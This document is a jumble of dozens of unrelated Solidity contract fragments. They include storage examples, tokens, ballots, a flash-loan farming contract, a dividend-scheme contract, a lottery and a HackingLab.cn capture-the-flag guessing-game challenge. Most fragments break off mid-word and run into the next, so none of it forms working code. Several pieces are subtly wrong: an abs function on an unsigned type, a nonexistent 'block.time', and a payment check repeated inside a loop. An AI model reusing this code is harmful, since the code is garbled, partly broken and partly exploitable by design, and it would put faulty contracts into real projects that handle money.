address owner;
string str;
/* This function is executed at initialization and sets the owner of the contract */
function mortal() { owner = msg.sender; }
/* Function to recover the funds on the contract */
function kill() { if (msg.sender == owner) selfdestruct(owner); }
function set(string val) public {
str = val;
}
function get() public constant returns (string) {
return str;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.21;
contract PAYGOReceivable {
// Property for storing the contract owner
address public owner;
// Coutner property, used for new monster ids
uint256 paygo_serial = 0;
uint256 total_amount = 0;
uint256 amount_paid = 0;
uint256 timestamp_start = 0;
uint256 timestamp_maturity = 0;
// Struct, defining our Cookie Monster with name, id and level fields
struct CookieMonster {
string name;
uint256 id;
uint16 level;
}
// Array of all of the created Monsters
CookieMonster[] public monsters;
// Constructor function, setting the contract owner from msg.sender
function CryptoCookieMonsters() public {
owner = msg.sender;
}
function amountMonsters() public view returns (uint256) {
return monsters.length;
}
// Function for creating new CookieMonster
function createCookieMonster() public {
// Created new monster with name Test Monster, id from counpragma solidity ^0.5.17;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Code written for SamPriestley.com
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
//The code written by money-legos to make flash loans easier
import "../Contract/DydxFlashLoanBase.sol";
import "../Contract/Interfaces/ICallee.sol";
//Interfaces to call outside contracts
interface IErc20 {
function approve(address, uint256) external returns (bool);
function transfer(address, uint256) external returns (bool);
function balanceOf(address) external view returns (uint);
}
interface ICErc20 is IErc20{
function mint(uint mintAmount) external returns (uint);
function borrow(uint borrowAmount) external returns (uint);
function underlying() external returns (address);
}
interface IComptroller{
function enterMarkets(address[] calldata cTokens) external returns (uint[] memory);
}
contract CompFarmer is DydxFlashloanBase, ICallee {
address public immutable contractOwner;
//Addresses of outside currencies
address private constant SOLO = 0x1E0447b19BB6EcFdAe1e4AE1694pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
// The code written by money-legos to make flash loans easier
import "../Contract/DydxFlashLoanBase.sol";
import "../Contract/Interfaces/ICallee.sol";
//Interfaces to call outside contracts
interface IErc20 {
function approve(address, uint256) external returns (bool);
function transfer(address, uint256) external returns (bool);
function balanceOf(address) external view returns (uint);
}
interface ICErc20 is IErc20{
function mint(uint mintAmount) external returns (uint);
function borrow(uint borrowAmount) external returns (uint);
function underlying() external returns (address);
}
interface IComptroller{
function enterMarkets(address[] calldata cTokens) external returns (uint[] memory);
}
contract CompFarmer is DydxFlashloanBase, ICallee {
address public immutable contractOwner;
//Addresses of outside currencies
address private constant SOLO = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e;
address private pragma solidity ^0.5.17;
import "./ERC20.sol";
import "./PortLibrary.sol";
//import "./StarSystemControls.sol";
contract rbitToken is ERC20 {
using PortLibrary for PortLibrary.PortStorage;
PortLibrary.PortStorage Ports;
// when this contract runs for the first time.
// It deposits 1000 tokens into the contract owner address
constructor() public {
_mint(msg.sender, 1000);
}
function claimPortRewards(uint256 id,address owner) public returns(bool) {
// Idea is to get port owner's address and check whether it is empty.
// As of now ports are not being traded so once claimed owner will always remain the same.
owner = Ports.ports[id].owner;
require(owner != address(0));
// if the condition satisfies then mint 100 tokens to his name
_mint(owner,100);
return true;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity >=0.4.22 <0.6.0;
contract Ballot {
struct Voter {
uint weight;
bool voted;
uint8 vote;
address delegate;
}
struct Proposal {
uint voteCount;
}
address chairperson;
mapping(address => Voter) voters;
Proposal[] proposals;
// Create a new ballot with $(_numProposals) different proposals.
constructor(uint8 _numProposals) public {
chairperson = msg.sender;
voters[chairperson].weight = 1;
proposals.length = _numProposals;
}
// Give $(toVoter) the right to vote on this ballot.
// May only be called by $(chairperson).
function giveRightToVote(address toVoter) public {
if (msg.sender != chairperson || voters[toVoter].voted) return;
voters[toVoter].weight = 1;
}
/// Delegate your vote to the voter $(to).
function delegate(address to) public {
Voter storage sender = voters[msg.sender]; // assigns reference
if (sender.voted) return;
wh// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/AccessControl.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/GSN/Context.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20Burnable.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20Pausable.sol";
/**
* @dev {ERC20} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
* - a pauser role that allows to stop all token transfers
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract wipragma solidity ^0.6.12;
contract SimpleStore {
constructor() {
owner = msg.sender;
}
address owner;
struct person {
string name;
string gender;
int256 age;
}
mapping(address => person) addressToPerson;
modifier onlyOwner() {
require(owner == msg.sender, "Only owner can call this function.");
_;
}
function set(
address _address,
string memory _name,
string memory _gender,
int256 _age
) public onlyOwner {
person memory member = person(_name, _gender, _age);
addressToPerson[_address] = member;
addressToPerson[_address] = person(_name, _gender, _age);
}
function getName(address _address) public view returns (string memory) {
string memory name = addressToPerson[_address].name;
return name;
}
}pragma solidity ^0.4.24;
contract Bank {
uint256 chequesDeposited;
function depositCheque (uint[] cheques) external {
for (uint8 i =0; i < cheques.length; i++)
_depositCheque(cheques[i]);
}
function _depositCheque(uint cheque) internal {
require (msg.value == cheque);
chequesDeposited = chequesDeposited + cheque;
}
pragma solidity ^0.4.24;
contract Test {
function encodePrefix() public pure returns (bytes) {
return abi.encodePacked("\x19Ethereum Signed Message:\n32");
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SampleOverflow {
string constant statictext = "a594b185-f66b-44fe-a702-3aa0c922dc50";
bytes32 constant byteText = keccak256("HelloStackOverFlow");
function getString() payable public returns(string){
return statictext;
}
function getByte() payable public returns(bytes32){
return byteText;
}
/**
*Submitted for verification at Etherscan.io on 2018-04-10
*/
pragma solidity ^0.4.20;
contract GandhiJi {
/*=================================
= MODIFIERS =
=================================*/
// only people with tokens
modifier onlybelievers () {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyhodler() {
require(myDividends(true) > 0);
_;
}
// administrators can:
// -> change the name of the contract
// -> change the name of the token
// -> change the PoS difficulty
// they CANNOT:
// -> take funds
// -> disable withdrawals
// -> kill the contract
// -> change the price of tokens
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[keccak256(_customerAddress)]);
_;
}
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.send//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity >=0.4.25 <0.6.0;
contract AssetTransfer
{
enum StateType { Active, OfferPlaced, PendingInspection, Inspected, Appraised, NotionalAcceptance, BuyerAccepted, SellerAccepted, Accepted, Terminated }
address public InstanceOwner;
string public Description;
uint public AskingPrice;
StateType public State;
address public InstanceBuyer;
uint public OfferPrice;
address public InstanceInspector;
address public InstanceAppraiser;
constructor(string memory description, uint256 price) public
{
InstanceOwner = msg.sender;
AskingPrice = price;
Description = description;
State = StateType.Active;
}
function Terminate() public
{
if (InstanceOwner != msg.sender)
{
revert();
}
State = StateType.Terminated;
}
function Modify(string memory description, uint256 price) public
{
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
function closest(uint32[] memory list, uint32 num) public pure returns (uint) {
uint32 curr = list[0];
uint index = 0;
for (uint i; i < list.length; i++) {
if (abs(num - list[i]) <= abs(num - curr)) {
curr = list[i];
index = i;
}
}
return index;
}
function abs (uint32 x) private pure returns (uint32) {
return x < 0 ? uint32(-x) : uint32(x);
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ReentrancyGuard {
uint256 private guardCounter = 1;
modifier nonReentrant() {
guardCounter += 1;
uint256 localCounter = guardCounter;
_;
require(localCounter == guardCounter);
}
}
interface ERC165 {
function supportsInterface(bytes4 _interfaceId)
external view returns (bool);
}
contract ERC721Receiver {
bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
function onERC721Received(address _operator, address _from, uint256 _tokenI/**
*Submitted for verification at Etherscan.io on 2018-10-29
*/
contract HackingLabTools{
//Welcome To HackingLab.cn
//TXkgV2VjaGF0IGlzIENwbHVzSHVhLCBubyBuZWVkIHRvIGhlc2l0YXRlLCBhZGQgbWUgbm93IQ==
function answerCompare(uint256 _answer, bytes32 _user_answer) public constant returns (bool){
bytes32 system_answer = keccak256(keccak256(_answer), abi.encodePacked(msg.sender));
if(system_answer == _user_answer){
return true;
}
return false;
}
function getAddressAnswerKeccak256(uint256 _answer,address _address)public constant returns (bytes32){
bytes32 system_answer = keccak256(keccak256(_answer), abi.encodePacked(_address));
return system_answer;
}
}
contract FakeGame is HackingLabTools{
uint256 luckyNum = 888;
uint256 public last;
struct Game {
address player;
bytes32 number;
}
Game[] public gameHistory;
address owner = msg.sender;
function guess(bytes32 _user_answer) public constant rpragma solidity ^0.5.0;
contract Election {
// Model a Candidate
struct Candidate {
uint id;
string name;
uint voteCount;
}
// Store accounts that have voted
mapping(address => bool) public voters;
// Read/write candidates
mapping(uint => Candidate) public candidates;
// Store Candidates Count
uint public candidatesCount;
event votedEvent (
uint indexed _candidateId
);
constructor () public {
addCandidate("Candidate 1");
addCandidate("Candidate 2");
}
function addCandidate (string memory _name) private {
candidatesCount ++;
candidates[candidatesCount] = Candidate(candidatesCount, _name, 0);
}
function vote (uint _candidateId) public {
// require that they haven't voted before
require(!voters[msg.sender],
" voted before");
// require a valid candidate
require(_candidateId > 0 && _candidateId <= candidatesCount,
"not Valid candidate
import "remix_tests.sol"; // this import is automatically injected by Remix.
import "./ballot.sol";
contract test3 {
Ballot ballotToTest;
function beforeAll () public {
ballotToTest = new Ballot(2);
}
function checkWinningProposal () public {
ballotToTest.vote(1);
Assert.equal(ballotToTest.winningProposal(), uint(1), "1 should be the winning proposal");
}
function checkWinninProposalWithReturnValue () public view returns (bool) {
return ballotToTest.winningProposal() == 1;
}
}pragma solidity ^0.5.0;
pragma experimental ABIEncoderV2;
import "https://github.com/OpenZeppelin/openzeppelin-solidity/contracts/access/Roles.sol";
contract HealthCare {
using Roles for Roles.Role;
Roles.Role private superAdmins;
Roles.Role private hospitalAdmins;
Roles.Role private receptionist;
Roles.Role private doctor;
Roles.Role private patient;
Roles.Role private pharmacist;
Roles.Role private radiologist;
Roles.Role private pathologist;
constructor() public {
superAdmins.add(msg.sender);
}
//StructureOfPatient'sRecord
struct patientRecords{
address patient;
string fname;
string lname;
uint age;
string[] ipfs;
}
mapping(address=>patientRecords) patientDetails;
address[] public patientAccounts;
//inputtingBasicData(name,age)
function addPatientDetails(address _patientAddress,string calldata _fname,string calldata _lname,uint _age)
external onlyReceptionist(){
patientDetails[_patientAddress].fname = _fname;
patientDetails[pragma solidity ^0.4.24; /*宣告智能合約的版本
/* 合約本體 */
contract SimpleAdd { /*SimpleAdd智能合約的名字
/* 變數宣告 */
uint number = 0;
// ... 更多變數
/* 函數定義 */
function getNumber() public view returns (uint) {
return number;
}
// ... 更多函數
function increase() public {
number++;
}
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/math/SafeMath.sol';
contract Bank {
using SafeMath for *;
uint public totalShares = 0;
uint public totalReleased = 0;
mapping(address => uint) public shares;
mapping(address => uint) public released;
address[] public payees;
function Bank(address[] _payees, uint[] _shares) public payable {
require(_payees.length == _shares.length);
for (uint i = 0; i < _payees.length; i++) {
addPayee(_payees[i], _shares[i]);
}
}
function addPayee(address _payee, uint _shares) internal {
require(_payee != address(0));
require(_shares > 0);
require(shares[_payee] == 0);
payees.push(_payee);
shares[_payee] = _shares;
totalShares = totalShares.add(_shares);
}
function claim() public {
address payee = msg.sender;
require(shares[payee] > 0);
uint totalReceived = this.balance.add(totalReleased);
uint payment = totalReceived.mul(shares[payee]).div(totalShares).sub(released[payee]);
pragma solidity ^0.5.0;
import "./Roles.sol";
contract ERC20Interface{
function totlasupply() public view returns(uint);
function balanceOf (address tokenOwner) public view returns(uint balance);
function transfer(address to, uint tokens) public returns(bool success);
function allowance(address TokenOwner, address spender) public view returns(uint remaining);
function approve(address spender, uint token) public returns(bool success);
function transferFrom(address from, address to, uint token) public returns(bool success);
event Transfer(address indexed from, address indexed to,uint tokens);
event Approval(address indexed tokenOwner,address indexed spender,uint token);
}
contract Crypto is ERC20Interface{
using Roles for Roles.Role;
Roles.Role private Deployer;
Roles.Role private admins;
Roles.Role private publishers;
Roles.Role private voters;
Roles.Role private solvers;
Roles.Role private guests;
string public name="//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract IPFS {
struct
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract {
pragma solidity ^0.4.18;
contract ApprovalContract {
address public sender;
address public receiver;
address public constant approver = 0x95c2332b26bb22153a689ae619d81a6c59e0a804;
function deposit(address _receiver) external payable {
require(msg.value > 0);
sender = msg.sender;
receiver = _receiver;
}
function viewApprover() external pure returns(address) {
return(approver);
}
function approve() external {
require(msg.sender == approver);
receiver.transfer(address(this).balance);
}
pragma solidity ^0.4.24;
// import 'openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol';
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v1.12.0/contracts/token/ERC20/StandardToken.sol
// https://github.com/OpenZeppelin/openzeppelin-contracts/tree/v1.12.0/contracts/token/ERC20
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {return 0;}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {return _a / _b;}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
library ExtendedMath {
function limitLessThan(uint a, uint b) internal pure returns (uint c) {
if(a > b) return b;
return a;
}
}
// --------------------------------pragma solidity ^0.4.24;
// import 'openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol';
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v1.12.0/contracts/token/ERC20/StandardToken.sol
// https://github.com/OpenZeppelin/openzeppelin-contracts/tree/v1.12.0/contracts/token/ERC20
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {return 0;}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {return _a / _b;}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
library ExtendedMath {
function limitLessThan(uint a, uint b) internal pure returns (uint c) {
if(a > b) return b;
return a;
}
}
// --------------------------------//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity >=0.4.22 <0.7.0;
contract sampleContract {
function get () public {
aLib.doStuff();
}
}
library aLib {
function doStuff() public {
}
}import "github.com/oraclize/ethereum-api/provableAPI_0.4.25.sol";
pragma solidity 0.4.25;
contract Lottery is usingOraclize {
address public manager;
address[] public players;
uint public randomNumber;
uint public lotteryEndDate;
bool public isRndNumberGenerated;
bool public paidOut;
constructor() public {
manager = msg.sender;
lotteryEndDate = 1591333505;
oraclize_setProof(proofType_Ledger);
}
modifier restricted() {
require(msg.sender == manager);
_;
}
function enter() public payable {
require(msg.value > .1 ether);
players.push(msg.sender);
}
function payOut() public {
require(lotteryEndDate < block.time);
require(isRndNumberGenerated == true);
require(paidOut == false);
uint index = randomNumber % players.length;
players[index].transfer(address(this).balance / 2);
manager.transfer(address(this).balance / 2);
import "github.com/oraclize/ethereum-api/provableAPI_0.4.25.sol";
pragma solidity 0.4.25;
contract Lottery is usingOraclize {
address public manager;
address[] public players;
uint public randomNumber;
uint public lotteryEndDate;
bool public isRndNumberGenerated;
bool public paidOut;
constructor() public {
manager = msg.sender;
lotteryEndDate = 1591333505;
oraclize_setProof(proofType_Ledger);
}
modifier restricted() {
require(msg.sender == manager);
_;
}
function enter() public payable {
require(msg.value > .1 ether);
players.push(msg.sender);
}
function payOut() public {
require(lotteryEndDate < block.time);
require(isRndNumberGenerated == true);
require(paidOut == false);
uint index = randomNumber % players.length;
players[index].transfer(address(this).balance / 2);
manager.transfer(address(this).balance / 2);
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
/**
*Submitted for verification at Etherscan.io on 2020-05-14
*/
pragma solidity >=0.5.0;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
}
interface IGateway {
function mint(bytes32 _pHash, uint256 _amount, bytes32 _nHash, bytes calldata _sig) external returns (uint256);
function burn(bytes calldata _to, uint256 _amount) external returns (uint256);
}
interface IGatewayRegistry {
function getGatewayBySymbol(string calldata _tokenSymbol) external view returns (IGateway);
function getTokenBySymbol(string calldata _tokenSymbol) external view returns (IERC20);
}
contract Basic {
IGatewayRegistry public registry;
event Deposit(uint256 _amount, bytes _msg);
event Withdrawal(bytes _to, uint256 _amount, bytes _msg);
constructor(IGatewayRegistry _registry) public {
registry = _registry;
}
function deposit(
// Parameters from users
bytes calldata _msg,
// Parameters from Darknodes
pragma solidity ^0.6.8;
library SpecEnums {
enum UserType {noUser, buyer, seller}
}
library SpecLibrary {
using SpecEnums for SpecEnums.UserType;
struct User {
bytes32 userName;
uint64 userContact;
uint8 userGender;
bytes32 userEmail;
string userAddr;
uint32[] orders;
SpecEnums.UserType userType;
}
struct Item {
bytes32 itemName;
uint8 itemType;
uint256 itemPrice;
bytes32 itemDetails;
bytes32 itemBrand;
uint8 itemColor;
bytes32 imageId;
uint32 availableCount;
uint256 disputePrice;
address payable seller;
}
struct Order {
address payable BuyerAddr;
uint256 timeStamp;
string orderDetails;
uint256 totalPrice;
mapping(uint32 => uint32) prodCount;
mapping(uint32 => bool) isOrdered;
mapping(uint32 => bool) isConfirmed;
mapping(uint32 => bool) isRejected;
mapping(uint32 => bool) i//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.4.24;
contract ERC20Interface{
function totlasupply() public view returns(uint);
function balanceOf (address tokenOwner) public view returns(uint balance);
function transfer(address to, uint tokens) public returns(bool success);
function allowance(address TokenOwner, address spender) public view returns(uint remaining);
function approve(address spender, uint token) public returns(bool success);
function transferFrom(address from, address to, uint token) public returns(bool success);
event Transfer(address indexed from, address indexed to,uint tokens);
event Approval(address indexed tokenOwner,address indexed spender,uint token);
}
contract Crypto is ERC20Interface{
string public name="Ashis";
string public symbol="AKP";
uint public decimals=0;
uint public supply;
address public founder;
event Transfer(address indexed from, address indexed to,uint tokens);
constructor ()public{
supply=1000000;